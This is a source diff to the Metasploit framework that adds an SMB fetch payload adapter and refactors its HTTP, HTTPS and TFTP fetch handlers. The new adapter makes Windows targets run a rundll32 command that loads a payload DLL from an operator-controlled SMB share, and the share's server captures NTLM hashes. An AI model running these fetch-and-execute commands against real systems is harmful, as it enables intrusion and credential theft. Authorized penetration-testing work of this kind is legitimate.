diff --git a/Gemfile.lock b/Gemfile.lock index bc29d421dc7e..b26470169cc2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -265,7 +265,7 @@ GEM activesupport (~> 7.0) railties (~> 7.0) zeitwerk - metasploit-credential (6.0.6) + metasploit-credential (6.0.7) metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) diff --git a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb index 93dc6f600ca6..647fea5b8996 100644 --- a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb +++ b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb @@ -62,7 +62,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) origin = create_credential_origin_service( { address: address, - port: datastore['SRVPORT'], + port: srvport, service_name: 'smb', protocol: 'tcp', module_fullname: fullname, @@ -74,7 +74,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) origin: origin, origin_type: :service, address: address, - port: datastore['SRVPORT'], + port: srvport, service_name: 'smb', username: user, server_challenge: challenge, diff --git a/lib/msf/core/exploit/remote/smb/server/share.rb b/lib/msf/core/exploit/remote/smb/server/share.rb index e55c2341b2dd..af82d4904f29 100644 --- a/lib/msf/core/exploit/remote/smb/server/share.rb +++ b/lib/msf/core/exploit/remote/smb/server/share.rb @@ -27,7 +27,6 @@ def initialize(info = {}) register_options( [ - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]), OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/), OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']), OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)']) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 2c7e8eb31b89..142878c68798 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -5,19 +5,19 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), - Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']), + # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set + Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), - Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/) ] ) register_advanced_options( [ Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), - Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]), - Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache']) + Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) ] ) @delete_resource = true @@ -27,7 +27,6 @@ def initialize(*args) @remote_destination_win = nil @remote_destination_nix = nil @windows = nil - end # If no fetch URL is provided, we generate one based off the underlying payload data @@ -77,9 +76,11 @@ def fetch_bindport datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] end + def fetch_bindnetloc + Rex::Socket.to_authority(fetch_bindhost, fetch_bindport) + end + def generate(opts = {}) - datastore['FETCH_SRVHOST'] = datastore['LHOST'] if datastore['FETCH_SRVHOST'].blank? - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVHOST required') if datastore['FETCH_SRVHOST'].blank? opts[:arch] ||= module_info['AdaptedArch'] opts[:code] = super @srvexe = generate_payload_exe(opts) @@ -126,17 +127,14 @@ def handle_connection(conn, opts = {}) end def srvhost - datastore['FETCH_SRVHOST'] + host = datastore['FETCH_SRVHOST'] + host = datastore['LHOST'] if host.blank? + host = '127.127.127.127' if host.blank? + host end def srvnetloc - netloc = srvhost - if Rex::Socket.is_ipv6?(netloc) - netloc = "[#{netloc}]:#{srvport}" - else - netloc = "#{netloc}:#{srvport}" - end - netloc + Rex::Socket.to_authority(srvhost, srvport) end def srvport @@ -148,10 +146,6 @@ def srvuri default_srvuri end - def srvname - datastore['FetchServerName'] - end - def windows? return @windows unless @windows.nil? @windows = platform.platforms.first == Msf::Module::Platform::Windows @@ -243,7 +237,6 @@ def _generate_curl_command cmd + _execute_add end - def _generate_ftp_command case fetch_protocol when 'FTP' diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index 6f2eecc7f8bd..1e38d0637aa5 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -10,7 +10,11 @@ def initialize(*args) end def cleanup_handler - cleanup_http_fetch_service(@fetch_service, @delete_resource) + if @fetch_service + cleanup_http_fetch_service(@fetch_service, @delete_resource) + @fetch_service = nil + end + super end @@ -20,4 +24,3 @@ def setup_handler end end - diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb index d83267125542..4494b11b075f 100644 --- a/lib/msf/core/payload/adapter/fetch/https.rb +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -10,7 +10,11 @@ def initialize(*args) end def cleanup_handler - cleanup_http_fetch_service(@fetch_service, @delete_resource) + if @fetch_service + cleanup_http_fetch_service(@fetch_service, @delete_resource) + @fetch_service = nil + end + super end @@ -19,4 +23,4 @@ def setup_handler super end -end \ No newline at end of file +end diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 74556663dc69..f2b9da716a0d 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -1,19 +1,13 @@ module Msf::Payload::Adapter::Fetch::Server::HTTP - include Msf::Payload::Adapter::Fetch::Server::Https - # This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin. - # We just remove the HTTPS Options so the user does not see them. - # + # This mixin supports only HTTP fetch handlers. def initialize(*args) super - deregister_options('FETCH_SSL', - 'FETCH_CHECK_CERT', - 'FetchSSLCert', - 'FetchSSLCompression', - 'FetchSSLCipher', - 'FetchSSLCipher', - 'FetchSSLVersion' + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) + ] ) end @@ -21,4 +15,88 @@ def fetch_protocol 'HTTP' end + def srvname + datastore['FetchHttpServerName'] + end + + def add_resource(fetch_service, uri, srvexe) + vprint_status("Adding resource #{uri}") + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.") + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, srvexe) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") + end + + def cleanup_http_fetch_service(fetch_service, delete_resource) + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + if fetch_service.resources.include?(escaped_srvuri) && delete_resource + fetch_service.remove_resource(escaped_srvuri) + end + fetch_service.deref + end + + def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + end + vprint_status("#{fetch_protocol} server started") + fetch_service.server_name = srvname + add_resource(fetch_service, escaped_srvuri, srvexe) + fetch_service + end + + def on_request_uri(cli, request, srvexe) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + cli.send_response(payload_response(srvexe)) + end + + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end + + def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + end + vprint_status("Fetch handler listening on #{fetch_bindnetloc}") + fetch_service + end end diff --git a/lib/msf/core/payload/adapter/fetch/server/https.rb b/lib/msf/core/payload/adapter/fetch/server/https.rb index 47127b47506d..4a4984654b76 100644 --- a/lib/msf/core/payload/adapter/fetch/server/https.rb +++ b/lib/msf/core/payload/adapter/fetch/server/https.rb @@ -1,4 +1,5 @@ module Msf::Payload::Adapter::Fetch::Server::Https + include Msf::Payload::Adapter::Fetch::Server::HTTP # This mixin supports both HTTP and HTTPS fetch handlers. If you only want # HTTP, use the HTTP mixin that imports this, but removes the HTTPS options @@ -6,13 +7,11 @@ def initialize(*args) super register_options( [ - Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false]) - + Msf::OptBool.new('FETCH_CHECK_CERT', [true, 'Check SSL certificate', false]) ] ) register_advanced_options( [ - Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']), Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']), Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]), Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']), @@ -23,64 +22,10 @@ def initialize(*args) ) end - def add_resource(fetch_service, uri, srvexe) - vprint_status("Adding resource #{uri}") - if fetch_service.resources.include?(uri) - # When we clean up, we need to leave resources alone, because we never added one. - @delete_resource = false - fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.") - end - fetch_service.add_resource(uri, - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, srvexe) - end, - 'VirtualDirectory' => true) - rescue ::Exception => e - # When we clean up, we need to leave resources alone, because we never added one. - @delete_resource = false - fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") - end - - def cleanup_http_fetch_service(fetch_service, delete_resource) - unless fetch_service.nil? - escaped_srvuri = ('/' + srvuri).gsub('//', '/') - if fetch_service.resources.include?(escaped_srvuri) && delete_resource - fetch_service.remove_resource(escaped_srvuri) - end - fetch_service.deref - if fetch_service.resources.empty? - # if we don't call deref, we cannot start another httpserver - # this is a reimplementation of the cleanup_service method - # in Exploit::Remote::SocketServer - temp_service = fetch_service - fetch_service = nil - temp_service.cleanup - temp_service.deref - end - end - end - def fetch_protocol 'HTTPS' end - def on_request_uri(cli, request, srvexe) - client = cli.peerhost - vprint_status("Client #{client} requested #{request.uri}") - if (user_agent = request.headers['User-Agent']) - client += " (#{user_agent})" - end - vprint_status("Sending payload to #{client}") - cli.send_response(payload_response(srvexe)) - end - - def payload_response(srvexe) - res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) - res['Content-Type'] = 'text/html' - res.body = srvexe.to_s.unpack('C*').pack('C*') - res - end - def ssl_cert datastore['FetchSSLCert'] end @@ -97,57 +42,7 @@ def ssl_version datastore['FetchSSLVersion'] end - def start_http_fetch_handler(srvname, srvexe) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - escaped_srvuri = ('/' + srvuri).gsub('//', '/') - @fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil? - if @fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}") - end - vprint_status('HTTP server started') - @fetch_service.server_name = srvname - add_resource(@fetch_service, escaped_srvuri, srvexe) - @fetch_service - end - def start_https_fetch_handler(srvname, srvexe) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - escaped_srvuri = ('/' + srvuri).gsub('//', '/') - @fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil? - if @fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") - end - vprint_status('HTTPS server started') - @fetch_service.server_name = srvname - add_resource(@fetch_service, escaped_srvuri, srvexe) - @fetch_service + start_http_fetch_handler(srvname, srvexe, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) end - - def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) - begin - fetch_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - fetch_bindport, fetch_bindhost, ssl, - { - 'Msf' => framework, - 'MsfExploit' => self - }, - _determine_server_comm(fetch_bindhost), - ssl_cert, - ssl_compression, - ssl_cipher, - ssl_version - ) - rescue Exception => e - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") - end - vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}") - fetch_service - end - end diff --git a/lib/msf/core/payload/adapter/fetch/server/smb.rb b/lib/msf/core/payload/adapter/fetch/server/smb.rb new file mode 100644 index 000000000000..a77470bb31b9 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/smb.rb @@ -0,0 +1,76 @@ +module Msf::Payload::Adapter::Fetch::Server::SMB + + include ::Msf::Exploit::Remote::SMB::LogAdapter + include ::Msf::Exploit::Remote::SMB::Server::HashCapture + + def start_smb_server(srvport, srvhost) + vprint_status("Starting SMB server on #{Rex::Socket.to_authority(srvhost, srvport)}") + + log_device = LogDevice::Framework.new(framework) + logger = Logger.new(self, log_device) + + ntlm_provider = Msf::Exploit::Remote::SMB::Server::HashCapture::HashCaptureNTLMProvider.new( + allow_anonymous: true, + allow_guests: true, + listener: self, + ntlm_type3_status: nil + ) + + fetch_service = Rex::ServiceManager.start( + Rex::Proto::SMB::Server, + srvport, + srvhost, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + _determine_server_comm(srvhost), + gss_provider: ntlm_provider, + logger: logger + ) + + fetch_service.on_client_connect_proc = Proc.new { |client| + on_client_connect(client) + } + fetch_service + end + + def cleanup_smb_fetch_service(fetch_service) + fetch_service.remove_share(@fetch_virtual_disk) + fetch_service.deref + end + + def fetch_protocol + 'SMB' + end + + def start_smb_fetch_handler(srvport, srvhost, srvuri, srvexe) + unless srvuri.include?('\\') + raise RuntimeError, 'The srvuri argument must include a share name' + end + + share_name, _, share_path = srvuri.partition('\\') + + fetch_service = start_smb_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}") + end + + if fetch_service.shares.key?(share_name) + cleanup_smb_fetch_service(fetch_service) + fail_with(Msf::Exploit::Failure::BadConfig, "The specified SMB share '#{share_name}' already exists.") + end + + @fetch_virtual_disk = RubySMB::Server::Share::Provider::VirtualDisk.new(share_name) + # the virtual disk expects the path to use the native File::SEPARATOR so normalize on that here + @fetch_virtual_disk.add_static_file(share_path, srvexe) + fetch_service.add_share(@fetch_virtual_disk) + fetch_service + end + + def on_client_connect(client) + vprint_status("Received SMB connection from #{client.peerhost}") + end +end + diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb index ad689fcee6fc..38290616f7f1 100644 --- a/lib/msf/core/payload/adapter/fetch/server/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -1,7 +1,7 @@ module Msf::Payload::Adapter::Fetch::Server::TFTP def start_tftp_server(srvport, srvhost) - vprint_status("Starting TFTP server on #{srvhost}:#{srvport}") + vprint_status("Starting TFTP server on #{Rex::Socket.to_authority(srvhost, srvport)}") Rex::Proto::TFTP::Server.new(srvport, srvhost, {}) end @@ -14,7 +14,7 @@ def initialize(*args) ) end def cleanup_tftp_fetch_service(fetch_service) - fetch_service.stop unless fetch_service.nil? + fetch_service.stop end def fetch_protocol @@ -25,7 +25,7 @@ def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) fetch_service = start_tftp_server(srvport, srvhost) if fetch_service.nil? cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}") + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{srvhost}:#{srvport}\n#{e}") end fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) fetch_service.start diff --git a/lib/msf/core/payload/adapter/fetch/smb.rb b/lib/msf/core/payload/adapter/fetch/smb.rb new file mode 100644 index 000000000000..affba6adddb6 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/smb.rb @@ -0,0 +1,42 @@ +module Msf::Payload::Adapter::Fetch::SMB + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::SMB + + + def initialize(*args) + super + register_options( + [ + Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: /^[^\s\/\\]*$/), + ] + ) + end + + def fetch_protocol + 'SMB' + end + + def cleanup_handler + if @fetch_service + cleanup_smb_fetch_service(@fetch_service) + @fetch_service = nil + end + + super + end + + def setup_handler + @fetch_service = start_smb_fetch_handler(fetch_bindport, fetch_bindhost, srvuri + "\\#{datastore['FETCH_FILENAME']}", @srvexe) + super + end + + def unc + path = "\\\\#{srvhost}" + path << "\\#{srvuri.gsub('/', "\\").chomp("\\")}" + path << "\\#{datastore['FETCH_FILENAME']}" if datastore['FETCH_FILENAME'].present? + path + end +end diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb index acda02eb9bec..f4f8685582cd 100644 --- a/lib/msf/core/payload/adapter/fetch/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -10,7 +10,11 @@ def initialize(*args) end def cleanup_handler - cleanup_tftp_fetch_service(@fetch_service) + if @fetch_service + cleanup_tftp_fetch_service(@fetch_service) + @fetch_service = nil + end + super end @@ -19,4 +23,4 @@ def setup_handler super end -end \ No newline at end of file +end diff --git a/lib/msf/core/session_compatibility.rb b/lib/msf/core/session_compatibility.rb index c57269f2a286..3ee14cb26443 100644 --- a/lib/msf/core/session_compatibility.rb +++ b/lib/msf/core/session_compatibility.rb @@ -74,7 +74,9 @@ def check_for_session_readiness(tries=6) # # Default cleanup handler does nothing # - def cleanup; end + def cleanup + super if defined?(super) + end # # Return the associated session or nil if there isn't one diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb index df90332a47a2..e818e836bae6 100644 --- a/modules/payloads/adapters/cmd/windows/http/x64.rb +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTP Fetch', - 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Description' => 'Fetch and execute an x64 payload from an HTTP server.', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, 'Author' => 'Brendan Watters', 'Platform' => 'win', diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb index d4c8f33ed081..daac7b86e52a 100644 --- a/modules/payloads/adapters/cmd/windows/https/x64.rb +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTPS Fetch', - 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Description' => 'Fetch and execute an x64 payload from an HTTPS server.', 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb new file mode 100644 index 000000000000..78254ec8b2d5 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::SMB + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SMB Fetch', + 'Description' => 'Fetch and execute an x64 payload from an SMB server.', + 'Author' => 'Spencer McIntyre', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR') + end + + def srvport + 445 # UNC paths for SMB services *must* be 445 + end + + def generate_fetch_commands + "rundll32 #{unc},0" + end + + # generate a DLL instead of an EXE + alias generate_payload_exe generate_payload_dll +end diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb index 5b8cd853ce0a..533176078e04 100644 --- a/modules/payloads/adapters/cmd/windows/tftp/x64.rb +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'TFTP Fetch', - 'Description' => 'Fetch and Execute an x64 payload from a tftp server', + 'Description' => 'Fetch and execute an x64 payload from a TFTP server.', 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index a7b827f36c86..f42e7d90bc77 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1358,6 +1358,14 @@ reference_name: 'cmd/windows/jjs_reverse_tcp' end + context 'cmd/windows/smb/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/smb/x64' + ], + reference_name: 'cmd/windows/smb/x64' + end + context 'cmd/windows/tftp/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [